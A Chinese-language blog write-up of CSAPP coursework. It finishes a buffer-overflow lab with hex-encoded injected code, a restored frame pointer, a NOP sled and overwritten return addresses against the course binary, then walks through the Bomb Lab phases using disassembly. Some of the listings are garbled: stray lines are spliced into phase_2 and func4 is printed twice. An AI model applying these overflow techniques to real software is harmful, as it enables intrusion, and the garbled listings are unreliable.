我们可以先不恢复栈结构，直接跳回去，看看会发生什么。依照上题的方法，得出输入文件：

asm

b8 3c 3d 31 1b /* mov $0x1b313d3c, %eax */
68 50 8e 04 08 /* push $0x8048e50 */
c3 /* ret */
/* end of assembly, 11 bytes in total */
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 /* 11*3=33 random bytes */
c8 3c 68 55 /* return address 0x55683cc8 */

将其通过hex2raw转换，然后输入bufbomb。既然知道会崩掉，那就在0x8048e50打个断点，运行一下。

发现ebp变成了0，esp的值也不怎么对劲。查阅栈帧结构图，发现旧ebp会在getbuf中被压栈到新的ebp处，它在我们输入的数据中对应的是41~44字节。本题的重点就在于恢复旧ebp。

Level 3栈帧

使用GDB在getbuf中打断点停止，然后执行 x/wx $ebp，可以读取到它的值0x55683d20。

依此修改输入文件：

asm

b8 3c 3d 31 1b /* mov $0x1b313d3c, %eax */
68 50 8e 04 08 /* push $0x8048e50 */
c3 /* ret */
/* end of assembly, 11 bytes in total */
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 /* 11*3-4=29 random bytes */
20 3d 68 55 /* old ebp 0x55683d20 */
c8 3c 68 55 /* return address 0x55683cc8 */

不出意外地通过了。

你可能有这样的疑问：答案能不能再长些？很容易能想到，如果输入覆盖的范围超过了返回地址，就可能会侵入上一个栈帧的空间而破坏其内容，所以答案可不可以再长些，取决于上一个栈帧的结构能不能被破坏。对于前三个Level，这种行为理论上是可以接受的；而对于Level 3&4，上一栈帧的结构需要完整保持，所以答案不能再长了。

Level 4: Nitroglycerin

前面几个level差不多就是热身水平，到了这里才是对栈帧结构和程序调试技术的一个综合考察。本level需要使用 -n 参数运行bufbomb。

每一次运行，尤其是由不同的用户运行，某个过程使用的确切栈空间会有所不同。一个原因是，每次运行时，所有环境变量的值都会被放在栈的底部。环境变量以字符串的形式存储，占用的空间根据值的不同而不同。所以，对某个用户来说，分配的栈空间由用户设置的环境变量有关。在使用GDB运行程序时，栈的位置也会不同，因为GDB使用栈空间来存储它的一些状态。

在调用 getbuf 的代码中，我们使用了一些稳定栈位置的特性，所以每次运行的时候 getbuf 的栈帧都不会变。这样你就可以在已知 buf 的起始地址的情况下，写出漏洞利用字符串。如果你在一个普通程序中尝试使用这种方法，你会发现它有时候管用，有时候又会引发段错误。所以我们起了 “火药”（dynamite，Level 3代号）这个名字——一种诺贝尔研制的炸药，含有稳定元素，以防意外爆炸。

这次我们反着来，让栈的位置比原先还要不稳定。所以它有了 “硝酸甘油” 这个名字——一种十分不稳定的炸药。

Writeup（经本人翻译）

这个Level的核心目标和Level 3差不多，都是把返回值设为Cookie。只不过，这次要调用5次 getbufn，相应的把答案也重复5次，缓冲区长度变成了512字节（虽然我们肯定要输得比这个长，毕竟要改变 “不该改变的” 区域），而 getbufn 的栈地址变动可能高达240字节。每次都必须稳定地返回Cookie到 testn 函数。

考虑到跳转地址是固定的，而栈的位置变动却很大，如果每次根据固定的地址跳跃，如果没有正好跳转到我们注入的代码开头，就可能造成不可预料的结果。所以如何保证在落点的相对位置变动很大的情况下，最后还是能稳定地执行注入代码，就成为了本题最重要的部分。

提示：

在hex2raw后面加 -n 参数可以将答案复制n份输出。即使不用，5份答案也必须相同。
善用 nop 指令能够帮助解题。可以阅读CSAPP 2e P262（中文版P180中部）的 “nop sled” 部分。

所谓的nop sled，简单来说，就是通过在代码中添加一大堆 nop 指令，不管绝对地址跳到哪个位置，也不会执行什么奇怪的操作，而是最终都要一个一个执行 nop，直到真正的漏洞利用代码的位置。

整体结构

有了这个认识，我们就能基本推断出输入字符串的结构：对应原返回地址处是新返回地址，它紧接着真正有用的注入代码之后，前面剩下的空间，就全都用 nop 填充。随手画一张图，展示注入过代码的 getbufn 每次执行时跳转的过程，或许能帮助你明白：

图中不同位置的条代表每次执行位置不同的 getbufn，ret 指令从每次不同的逻辑地址取出返回地址，但每次都跳转到固定的跳转地址。如果这个区域内都是 nop，那么跳转之后就相当于 “落下来”，在运行注入代码之前什么都没干。

接下来将会根据输入字符串的结构，分别解释得出的方法。

核心代码

首先我们要解决的是恢复 testn 的栈结构，也就是原ebp。看一眼 testn 的汇编代码。

asm

08048cce <testn>:
 8048cce: 55                    push   %ebp
 8048ccf: 89 e5                 mov    %esp,%ebp
 8048cd1: 53                    push   %ebx
 8048cd2: 83 ec 24              sub    $0x24,%esp

因为中间将ebx暂存，esp又减了4，所以原ebp在esp+0x28处。我们使用一个 lea 指令将其恢复。

asm

`1`	`leal 0x28(%esp), %ebp # restore ebp register`

然后是本题的核心目标，让 getbufn 返回Cookie，就是把eax设为Cookie。这个和之前没什么区别。

asm

`1`	`movl $0x1b313d3c, %eax # set cookie as return value`

最后就是将返回地址入栈，然后返回，跟Level 3同理。

asm

1
2

push $0x8048ce2 # original testn return address
ret

完整的汇编代码就不放了，反正也没几句。这些语句的顺序并不是自由的，此处将 movl 句放到 leal 之前，就会导致指令读取错误（将几个nop + 一个leal读取成一个addb和一个xorl），进而引发段错误，目前不知道是什么原理。如果有读者知道是什么原因，烦请赐教。

返回地址

因为栈的位置有很大的随机性，而输入内容的 nop 部分是有边界的，所以我们需要确定一个大概的跳转地址边界，确保每次都能够跳入 nop 范围。我们可以多次使用gdb调试i，在 getbufn 处打断点并运行，每次取ebp的值并统计最大值，借此得到 buf 数组起始地址大概最大值，也就是跳转地址的大概最大值；由ebp的值又可以取到最小值，估计出 nop 区域结束地址的大概最小值，也就是跳转地址的大概最小值。反正缓冲区500多个字节，栈位置的变动最多才240字节，随便在中间选个值就好。

可以结合上面的图来理解：跳转地址的范围是第二个栈帧 nop 上界和第三个栈帧exploit上界之间的范围。

asm

08049244 <getbufn>:
 8049244: 55                    push   %ebp
 8049245: 89 e5                 mov    %esp,%ebp
 8049247: 81 ec 18 02 00 00     sub    $0x218,%esp
 804924d: 8d 85 f8 fd ff ff     lea    -0x208(%ebp),%eax
 8049253: 89 04 24              mov    %eax,(%esp)
 8049256: e8 d7 f9 ff ff        call   8048c32 <Gets>
 804925b: b8 01 00 00 00        mov    $0x1,%eax
 8049260: c9                    leave  
 8049261: c3                    ret

根据上述 getbufn 的反汇编代码，buf 数组的起始地址是ebp-0x208，也就是nop区域的上界。

随意调试运行，得到几个ebp的值为0x55683cf0、0x55683d50、0x55683cd0、0x55683d00、0x55683ce0、0x55683cf0、0x55683d50、0x55683cd0、0x55683d00、0x55683ce0，其中最小值为0x55683cd0，最大值为0x55683d50。推算出跳转地址最小值大约是0x55683b48，保守起见将返回地址 + 20，设为0x55683b5c。

Nop Sled

nop 部分 + 核心代码部分需要将返回地址部分 “撑” 到ebp+4开始（含）4个字节处，则这两部分加起来的长度为0x208+8=528字节。前面核心代码的二进制表示占据了15字节，所以需要填充509字节 nop（也就是90）。

把这三块连起来，输入的文本数据就很容易得到了（此处建议关闭折行显示，更美观）：

asm

/* nop area, 509 bytes in total */
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
/* core assembly area, 15 bytes in total */
8d 6c 24 28 /* lea 0x28(%esp),%ebp */
b8 3c 3d 31 1b /* mov $0x1b313d3c,%eax */
68 e2 8c 04 08 /* push $0x8048ce2 */
c3 /* ret */
/* return address 0x55683b5c, 4 bytes in total */
5c 3b 68 55

其他值得注意的事情

上面所说的都是每一次调用 getbufn 所输入的内容，而一共要输入五次，可以使用 hex2raw 的 -n 参数指定输出答案的重复次数。hex2raw 会在每次重复的答案最后自动添加换行分隔符0a。

好在经过这一番折腾，Lab 4终于也完成了。

CSAPP 2e Bomb Lab 笔记

Wed, 06 Apr 2022 00:00:00 +0000

这个Lab训练的是分析汇编代码和使用GDB调试的能力。题目是一个二进制文件 bomb，和只包含 main 函数的 bomb.c，使用者需要借助工具，在六个Phase中分别输入对应的文本，来解除 “炸弹”。一旦输入错误，就会 “引爆炸弹”。

每个人生成的bomb内容可能不尽相同，但思路相似，这里只以我做到的版本为例。

实验文件 （是32位）：https://git.cyp0633.com/cyp0633/CSAPP-labs/src/branch/master/LAB3-bomblab

环境：Ubuntu 22.04, GDB 12.0.90

参考资料：

https://earthaa.github.io/2020/01/12/CSAPP-Bomblab/ 非常详细的解析，但是是64位，无Secret Phase。
https://www.viseator.com/2017/06/21/CS_APP_BombLab/ 第6题解析写得很好，也是64位的。

前期准备

最基础的一点是，你需要对汇编语言有一定的了解，起码能够大概熟悉CSAPP前三章的内容。

正如上文所说，最好先熟悉一下GDB的使用，边写边查也不是不行，但很容易拖慢速度。可以看看 https://www.cnblogs.com/acceptedzhs/p/13161213.html，或者 参考资料1中的gdb命令速查，非常有用。 可以在GDB中执行 layout asm 来打开下面的视图，事半功倍：

此外，还需要准备一份反汇编代码，objdump -d bomb > bomb.s 就可以将bomb反汇编，并将代码保存到bomb.s中。也可以在GDB中进行反汇编。当然，1800行的汇编代码应该不会有人去完全研究，所以只能结合调试来做。

你还需要一个能够计算十六进制的计算器。如果你使用Windows，可以使用自带计算器；在Linux下，可以使用Python。

除此之外，如果你有二进制文件分析的经验，你也可以直接使用 angr 等工具直接找到答案，达成速通。

Phase 1

查看 bomb.c 得到Phase 1相关的C代码。

    input = read_line();             /* Get input                   */
    phase_1(input);                  /* Run the phase               */
    phase_defused();                 /* Drat!  They figured it out!
          * Let me know how they did it. */
    printf("Phase 1 defused. How about the next one?\n");

可以看出，程序先使用 read_line() 函数读取输入，并让input变量指向它。然后将其传给 phase_1。此时 char 指针应该存储在 4(%esp) 中。然后查看 phase_1 的反汇编代码。包括 read_line 之类的函数并不需要详细了解，因为我们可以很容易看出来它干了什么。

asm

08048b90 <phase_1>:
 8048b90: 83 ec 1c              sub    $0x1c,%esp
 8048b93: c7 44 24 04 0c a2 04  movl   $0x804a20c,0x4(%esp)
 8048b9a: 08 
 8048b9b: 8b 44 24 20           mov    0x20(%esp),%eax
 8048b9f: 89 04 24              mov    %eax,(%esp)
 8048ba2: e8 43 05 00 00        call   80490ea <strings_not_equal>
 8048ba7: 85 c0                 test   %eax,%eax
 8048ba9: 74 05                 je     8048bb0 <phase_1+0x20>
 8048bab: e8 45 06 00 00        call   80491f5 <explode_bomb>
 8048bb0: 83 c4 1c              add    $0x1c,%esp
 8048bb3: c3                    ret

程序看起来像是构建了 strings_not_equal 的两个参数，test 指令用于判断返回的值是否为0（参见 Stack Overflow），如果为0代表不相等，就跳转到 explode_bomb。

我们可以直接从两个参数入手，一个是我们输入的内容，另一个 0x804a20c 自然就指向了我们想要的字符串。进入gdb，打断点，使用 x/s 0x804a20c 读取那个位置的字符串，然后输入 c 继续运行，将其输入即可。解出Phase 1答案是 “You can Russia from land here in Alaska.”。

建议将断点打到 read_line 上，如果打到 phase_1 上，便无法在读到答案之后输入文字，可能要炸一次炸弹。

Phase 2

关键词：循环

main函数中关于Phase 2的部分和Phase 1差不多，那么我们直接来看反汇编。

asm

08048bb4 <phase_2>:
 8048bb4: 56                    push   %esi
 8048bb5: 53                    push   %ebx
 8048bb6: 83 ec 34              sub    $0x34,%esp
 8048bb9: 8d 44 24 18           lea    0x18(%esp),%eax
 8048bbd: 89 44 24 04           mov    %eax,0x4(%esp)
 8048bc1: 8b 44 24 40           mov    0x40(%esp),%eax
 8048bc5: 89 04 24              mov    %eax,(%esp)
 8048bc8: e8 4f 06 00 00        call   804921c <read_six_numbers>
 8048bcd: 83 7c 24 18 00        cmpl   $0x0,0x18(%esp)
 8048bd2: 75 07                 jne    8048bdb <phase_2+0x27>
 8048bd4: 83 7c 24 1c 01        cmpl   $0x1,0x1c(%esp)
 8048bd9: 74 1f                 je     8048bfa <phase_2+0x46>
 8048bdb: e8 15 06 00 00        call   80491f5 <explode_bomb>
 8048be0: eb 18                 jmp    8048bfa <phase_2+0x46>
 8048be2: 8b 43 f8              mov    -0x8(%ebx),%eax
 8048be5: 03 43 fc              add    -0x4(%ebx),%eax
 8048be8: 39 03                 cmp    %eax,(%ebx)
 8048bea: 74 05                 je     8048bf1 <phase_2+0x3d>
 8048bec: e8 04 06 00 00        call   80491f5 <explode_bomb>
 8048bf1: 83 c3 04              add    $0x4,%ebx
 8048bf4: 39 f3                 cmp    %esi,%ebx
 8048bf6: 75 ea                 jne    8048be2 <phase_2+0x2e>
 8048bf8: eb 0a                 jmp    8048c04 <phase_2+0x50>
 8048bfa: 8d 5c 24 20           lea    0x20(%esp),%ebx
 8048bfe: 8d 74 24 30           lea    0x30(%esp),%esi
 8048c02: eb de                 jmp    8048be2 <phase_2+0x2e>
 8048c04: 83 c4 34              add    $0x34,%esp
 8048c07: 5b                    pop    %ebx
 8048de9: 83 7c 24 18 0e        cmpl   $0xe,0x18(%esp)
 8048dee: 76 05                 jbe    8048df5 <phase_4+0x38>
 8048c08: 5e                    pop    %esi
 8048c09: c3                    ret

read_six_numbers 很容易让人联想，本题的答案是六个数字。

浅看一眼 read_six_numbers 函数的反汇编（不需要全看懂），可以得出六个数字的地址是 0x8(%esp) 一直到 0x1c(%esp)，对应 phase_2 中从 0x18(%esp) 开始（也可以在gdb中对比寄存器得出）。由 0x8048bd4 的语句来看，如果第二个数不是2，就会触发 explode_bomb；由 0x8048bcd，如果第一个数不是0，也会爆炸。

从 0x8048be2 到 0x8048c02 似乎是一个循环。8048bfa 和 8048bfe 的两条 lea 语句是这个循环的初始化部分，因为这只在 0x8048bd9 处被调用，正常来说则会跳过这两段。如果这六个数用C形容为 int num[6]，那么 esi 就是 num+6，是循环的界限，ebx 的初值就是 num+2，是循环的起始（前两个数已经验证过了），相当于 int i=2。

初始化之后开始看循环体，从 0x8048be2 到 0x8048bf6。首先给 eax 寄存器赋值为 num[i-1]+num[i-2]，然后将其与 num[i] 比较。如果不相等，就爆炸。否则，将 ebx 增4，相当于 i++。再将其与边界 esi 比较，如果不相等，继续循环。

这样，这六个数字的规律就出现了：是前面多了一个0的斐波那契数列，0，1，1，2，3，5。

Phase 3

关键词：跳转表

Phase 3反汇编代码太长了，就不一股脑放出来了。

asm

 8048c0a: 83 ec 3c              sub    $0x3c,%esp
 8048c0d: 8d 44 24 2c           lea    0x2c(%esp),%eax
 8048c11: 89 44 24 10           mov    %eax,0x10(%esp)
 8048c15: 8d 44 24 27           lea    0x27(%esp),%eax
 8048c19: 89 44 24 0c           mov    %eax,0xc(%esp)
 8048c1d: 8d 44 24 28           lea    0x28(%esp),%eax
 8048c21: 89 44 24 08           mov    %eax,0x8(%esp)
 8048c25: c7 44 24 04 5e a2 04  movl   $0x804a25e,0x4(%esp)
 8048c2c: 08 
 8048c2d: 8b 44 24 40           mov    0x40(%esp),%eax
 8048c31: 89 04 24              mov    %eax,(%esp)
 8048c34: e8 27 fc ff ff        call   8048860 <__isoc99_sscanf@plt>

反汇编代码中，一上来就像是构建了一个调用函数的参数列表，似乎有五个参数，均为4字节。往下看，果不其然调用了sscanf。在Shell中执行 man sscanf 查看Linux自带手册，发现它类似于scanf，只不过输入源是指定的字符串。对照参数列表，发现 0x804a25e 处是固定的，不随外界改变，同时又在 0x4(%esp) 即第二个参数位置，那么很可能是format部分。执行 print (char*)0x804a25e，得到 "%d %c %d"，这就对应了第3、4、5个参数（设为int a，char b，int c）的格式了。这里记下，**a = esp+0x8、 **b = esp+0xc 和 **c = esp+0x10，由leal指令反推， *a = esp+0x28， *b = esp+0x27， *c = esp+0x2c。

asm

 8048c39: 83 f8 02              cmp    $0x2,%eax
 8048c3c: 7f 05                 jg     8048c43 <phase_3+0x39>
 8048c3e: e8 b2 05 00 00        call   80491f5 <explode_bomb>
 8048c43: 83 7c 24 28 07        cmpl   $0x7,0x28(%esp)
 8048c48: 0f 87 f5 00 00 00     ja     8048d43 <phase_3+0x139>
 8048c4e: 8b 44 24 28           mov    0x28(%esp),%eax
 8048c52: ff 24 85 70 a2 04 08  jmp    *0x804a270(,%eax,4)

然后将sscanf的返回值与2比较。查看手册得，它会返回格式化字符串中匹配到参数的数量。如果少于3个参数，一样会引爆炸弹。它还会将 0x28(%esp) 即a与7比较，如果大于7，也会引爆炸弹，那么第一个数的取值被限制在了0~7。

之后很明显是一个跳转表的结构，看起来像来自一个switch语句，大胆猜测是第一个参数为0-7的每种结果。比较简单的一种方法，是在跳转表跳转语句处打断点，将a直接先代入0-7中的一种，步进查看分支的地址，也可以分别使用 p/x *address 来直接把完整的跳转表挖出来。这里以 a = 0 为例，其他的应该也差不多。

asm

 8048c59: b8 68 00 00 00        mov    $0x68,%eax
 8048c5e: 81 7c 24 2c 8b 01 00  cmpl   $0x18b,0x2c(%esp)
 8048c65: 00 
 8048c66: 0f 84 e1 00 00 00     je     8048d4d <phase_3+0x143>
 8048c6c: e8 84 05 00 00        call   80491f5 <explode_bomb>
 8048c71: b8 68 00 00 00        mov    $0x68,%eax
 8048c76: e9 d2 00 00 00        jmp    8048d4d <phase_3+0x143>

上面是 a = 0 分支的汇编代码。首先给eax赋值，这个之后会用到。然后比较了c与0x18b即395，不相等则会引爆炸弹。如果相等，则再次进行一次跳转：

asm

 8048d4d: 3a 44 24 27           cmp    0x27(%esp),%al
 8048d51: 74 05                 je     8048d58 <phase_3+0x14e>
 8048d53: e8 9d 04 00 00        call   80491f5 <explode_bomb>
 8048d58: 83 c4 3c              add    $0x3c,%esp
 8048d5b: c3                    ret

比较al与b，不相等的话引爆炸弹。al是将eax的0-7位拎出来。eax = 0x68 = 0x0000 0068，那么 al = 0x68。不记得的话，也可以通过GDB执行 info registers al 查看。在Shell执行 man ascii 打开ASCII码表，寻找HEX=68，对应的是h。

于是我们得出了a、b、c的值。a和c的值是联动的，一个组合为0和395，而b固定为h。

Phase 4

关键词：递归

asm

 8048dbd: 83 ec 2c              sub    $0x2c,%esp
 8048dc0: 8d 44 24 1c           lea    0x1c(%esp),%eax
 8048dc4: 89 44 24 0c           mov    %eax,0xc(%esp)
 8048dc8: 8d 44 24 18           lea    0x18(%esp),%eax
 8048dcc: 89 44 24 08           mov    %eax,0x8(%esp)
 8048dd0: c7 44 24 04 af a3 04  movl   $0x804a3af,0x4(%esp)
 8048dd7: 08 
 8048dd8: 8b 44 24 30           mov    0x30(%esp),%eax
 8048ddc: 89 04 24              mov    %eax,(%esp)
 8048ddf: e8 7c fa ff ff        call   8048860 <__isoc99_sscanf@plt>
 8048de4: 83 f8 02              cmp    $0x2,%eax
 8048de7: 75 07                 jne    8048df0 <phase_4+0x33>
 8048de9: 83 7c 24 18 0e        cmpl   $0xe,0x18(%esp)
 8048dee: 76 05                 jbe    8048df5 <phase_4+0x38>

这道题一开始也调用了sscanf，和Phase 3差不多。那么方法也一样，熟练地使用 print (char*)0x804a3af，得到格式化的形式为 "%d %d"，就是两个整型。设两个参数分别为a、b，那么有 *a = esp + 0x18，*b = esp + 0x1c。如果参数不为2个，就会引爆炸弹。

后面还将a与0xe即14（无符号）比较，限制 $a \le 14$ 时跳转到 0x08048df5，否则引爆炸弹。那么这个地方干了什么呢？

asm

 8048df5: c7 44 24 08 0e 00 00  movl   $0xe,0x8(%esp)
 8048dfc: 00 
 8048dfd: c7 44 24 04 00 00 00  movl   $0x0,0x4(%esp)
 8048e04: 00 
 8048e05: 8b 44 24 18           mov    0x18(%esp),%eax
 8048e09: 89 04 24              mov    %eax,(%esp)
 8048e0c: e8 4b ff ff ff        call   8048d5c <func4>
 8048e11: 85 c0                 test   %eax,%eax
 8048e13: 75 07                 jne    8048e1c <phase_4+0x5f>
 8048e15: 83 7c 24 1c 00        cmpl   $0x0,0x1c(%esp)
 8048e1a: 74 05                 je     8048e21 <phase_4+0x64>
 8048e1c: e8 d4 03 00 00        call   80491f5 <explode_bomb>
 8048e21: 83 c4 2c              add    $0x2c,%esp
 8048e24: c3                    ret

这一段先为func4的调用构建了参数，func4的三个参数分别是a、0和0xe即14。然后分别校验了两个条件，是func4的返回值即 eax = 0 和b=0。既然输入文本的两个部分约束都给出了，只需要枚举 $0 \le a \le 14,\ b=0$ 的每一种可能，总能够找到至少一个答案。幸运的是，试出的第一个组合0 0就是一个解。

但是为了追求完美，我们还需要看看func4干了什么。设传入的三个参数分别为x、y、z，则：

asm

08048d5c <func4>:
 8048d5c: 56                    push   %esi ;save registers
 8048d5d: 53                    push   %ebx
 8048d5e: 83 ec 14              sub    $0x14,%esp ;allocate stack
 8048d61: 8b 54 24 20           mov    0x20(%esp),%edx ;edx=x
 8048d65: 8b 44 24 24           mov    0x24(%esp),%eax ;eax=y
 8048d69: 8b 5c 24 28           mov    0x28(%esp),%ebx ;ebx=z
 8048d6d: 89 d9                 mov    %ebx,%ecx ;ecx=z
 8048d6f: 29 c1                 sub    %eax,%ecx ;ecx=z-y
 8048d71: 89 ce                 mov    %ecx,%esi ;esi=z-y
 8048d73: c1 ee 1f              shr    $0x1f,%esi ;esi is sign bit of z-y, biased bit
 8048d76: 01 f1                 add    %esi,%ecx ;ecx=z-y+sign(z-y)
 8048d78: d1 f9                 sar    %ecx ;ecx=(z-y)/2
 8048d7a: 01 c1                 add    %eax,%ecx ;ecx=y+(z-y)/2=(y+z)/2
 8048d7c: 39 d1                 cmp    %edx,%ecx ;(z+y)/2<=x?
 8048d7e: 7e 17                 jle    8048d97 <func4+0x3b> ;if so, goto 0x8048d97
 8048d80: 83 e9 01              sub    $0x1,%ecx ;ecx--
 8048d83: 89 4c 24 08           mov    %ecx,0x8(%esp) ;z(func4)=ecx
 8048d87: 89 44 24 04           mov    %eax,0x4(%esp) ;y(func4)=eax
 8048d8b: 89 14 24              mov    %edx,(%esp) ;x(func4)=edx=x
 8048d8e: e8 c9 ff ff ff        call   8048d5c <func4> ;recursive call
 8048d93: 01 c0                 add    %eax,%eax ;eax=eax+eax (return value)
 8048d95: eb 20                 jmp    8048db7 <func4+0x5b> ;return eax
 8048d97: b8 00 00 00 00        mov    $0x0,%eax ;eax=0
 8048d9c: 39 d1                 cmp    %edx,%ecx ;ecx<=x?
 8048d9e: 7d 17                 jge    8048db7 <func4+0x5b> ;if so, return 0
 8048da0: 89 5c 24 08           mov    %ebx,0x8(%esp) ;z(func4)=ebx
 8048da4: 83 c1 01              add    $0x1,%ecx ;ecx++
 8048da7: 89 4c 24 04           mov    %ecx,0x4(%esp) ;y(func4)=ecx
 8048dab: 89 14 24              mov    %edx,(%esp) ;x(func4)=edx=x
 8048dae: e8 a9 ff ff ff        call   8048d5c <func4> ;recursive call
 8048db3: 8d 44 00 01           lea    0x1(%eax,%eax,1),%eax ;eax=2*eax+1, return value
 8048db7: 83 c4 14              add    $0x14,%esp ;restore stack pointer
 8048dba: 5b                    pop    %ebx ;restore registers
 8048dbb: 5e                    pop    %esi
 8048dbc: c3                    ret

08048d5c <func4>:
 8048d5c: 56                    push   %esi ;save registers
 8048d5d: 53                    push   %ebx
 8048d5e: 83 ec 14              sub    $0x14,%esp ;allocate stack
 8048d61: 8b 54 24 20           mov    0x20(%esp),%edx ;edx=x
 8048d65: 8b 44 24 24           mov    0x24(%esp),%eax ;eax=y
 8048d69: 8b 5c 24 28           mov    0x28(%esp),%ebx ;ebx=z
 8048d6d: 89 d9                 mov    %ebx,%ecx ;ecx=z
 8048d6f: 29 c1                 sub    %eax,%ecx ;ecx=z-y
 8048d71: 89 ce                 mov    %ecx,%esi ;esi=z-y
 8048d73: c1 ee 1f              shr    $0x1f,%esi ;esi is sign bit of z-y, biased bit
 8048d76: 01 f1                 add    %esi,%ecx ;ecx=z-y+sign(z-y)
 8048d78: d1 f9                 sar    %ecx ;ecx=(z-y)/2
 8048d7a: 01 c1                 add    %eax,%ecx ;ecx=y+(z-y)/2=(y+z)/2
 8048d7c: 39 d1                 cmp    %edx,%ecx ;(z+y)/2<=x?
 8048d7e: 7e 17                 jle    8048d97 <func4+0x3b> ;if so, goto 0x8048d97
 8048d80: 83 e9 01              sub    $0x1,%ecx ;ecx--
 8048d83: 89 4c 24 08           mov    %ecx,0x8(%esp) ;z(func4)=ecx
 8048d87: 89 44 24 04           mov    %eax,0x4(%esp) ;y(func4)=eax
 8048d8b: 89 14 24              mov    %edx,(%esp) ;x(func4)=edx=x
 8048d8e: e8 c9 ff ff ff        call   8048d5c <func4> ;recursive call
 8048d93: 01 c0                 add    %eax,%eax ;eax=eax+eax (return value)
 8048d95: eb 20                 jmp    8048db7 <func4+0x5b> ;return eax
 8048d97: b8 00 00 00 00        mov    $0x0,%eax ;eax=0
 8048d9c: 39 d1                 cmp    %edx,%ecx ;ecx<=x?
 8048d9e: 7d 17                 jge    8048db7 <func4+0x5b> ;if so, return 0
 8048da0: 89 5c 24 08           mov    %ebx,0x8(%esp) ;z(func4)=ebx
 8048da4: 83 c1 01              add    $0x1,%ecx ;ecx++
 8048da7: 89 4c 24 04           mov    %ecx,0x4(%esp) ;y(func4)=ecx
 8048dab: 89 14 24              mov    %edx,(%esp) ;x(func4)=edx=x
 8048dae: e8 a9 ff ff ff        call   8048d5c <func4> ;recursive call
 8048db3: 8d 44 00 01           lea    0x1(%eax,%eax,1),%eax ;eax=2*eax+1, return value
 8048db7: 83 c4 14              add    $0x14,%esp ;restore stack pointer
 8048dba: 5b                    pop    %ebx ;restore registers
 8048dbb: 5e                    pop    %esi
 8048dbc: c3                    ret

首先得把func4的代码分析一遍，顺便写点注释，走一步看一步，把每一步要干什么先弄明白。0x8048d73 处取符号位加上去的操作是一个偏置，为了让算术右移1位和除以2的行为一致，可以阅读CSAPP原书来了解。光看汇编来分析整体行为有一定的难度，我们不妨试着把它 “意译” 成C代码。（感谢 @404NotFound的提醒，第10行条件应为 a==x）

asm

int func4(int x, int y, int z)
{
    int a = (y + z) / 2, ret;
    if (a> x)
    {
        a--;
        ret = func4(x, y, a);
        return 2 * ret;
    }
    if (a == x)
    {
        return 0;
    }
    a++;
    ret = func4(x, a, z);
    return ret * 2 + 1;
}

可以代入a的各个情况，自行跑一跑这个函数，记录返回0的情况，很容易跑出来所有答案。

Phase 5

关键词：不同长度的MOV指令

这道题比较抽象，难度不仅仅在汇编上。

asm

 8048e25: 53                    push   %ebx
 8048e26: 83 ec 28              sub    $0x28,%esp
 8048e29: 8b 5c 24 30           mov    0x30(%esp),%ebx
 8048e2d: 65 a1 14 00 00 00     mov    %gs:0x14,%eax
 8048e33: 89 44 24 1c           mov    %eax,0x1c(%esp)
 8048e37: 31 c0                 xor    %eax,%eax
 8048e39: 89 1c 24              mov    %ebx,(%esp)
 8048e3c: e8 8a 02 00 00        call   80490cb <string_length>
 8048e41: 83 f8 06              cmp    $0x6,%eax
 8048e44: 74 4c                 je     8048e92 <phase_5+0x6d>
 8048e46: e8 aa 03 00 00        call   80491f5 <explode_bomb>
 8048e4b: 90                    nop
 8048e4c: 8d 74 26 00           lea    0x0(%esi,%eiz,1),%esi

这一段的主要作用就是检查了输入字符串的长度，限制了长度为6。有几处代码不太好理解：%gs: 似乎保证了栈的完整性（见此处）；异或自身是比较快的将寄存器置0的方式（见此处）；而 0x8048e4c 处的指令，其实是又一个nop（见此处）。此外，我们设 *a = 0x14 + eax，这段代码还令a=0x14=20，ebx=esp+0x30。

asm

 8048e52: 0f b6 14 03           movzbl (%ebx,%eax,1),%edx
 8048e56: 83 e2 0f              and    $0xf,%edx
 8048e59: 0f b6 92 90 a2 04 08  movzbl 0x804a290(%edx),%edx
 8048e60: 88 54 04 15           mov    %dl,0x15(%esp,%eax,1)
 8048e64: 83 c0 01              add    $0x1,%eax
 8048e67: 83 f8 06              cmp    $0x6,%eax
 8048e6a: 75 e6                 jne    8048e52 <phase_5+0x2d>

一个jmp指令带我们到了0x8048e92，粗看一眼结构像个循环。给eax赋初值0之后，就又跳到了0x8048e52。循环内的部分就是如上所示。在这里，eax从0到6的每一次循环中：

将ebx+eax处的字符截取低4位，存入edx
edx作为索引，在0x804a290+edx处取1个字节
将这个字节存到esp+0x15+eax

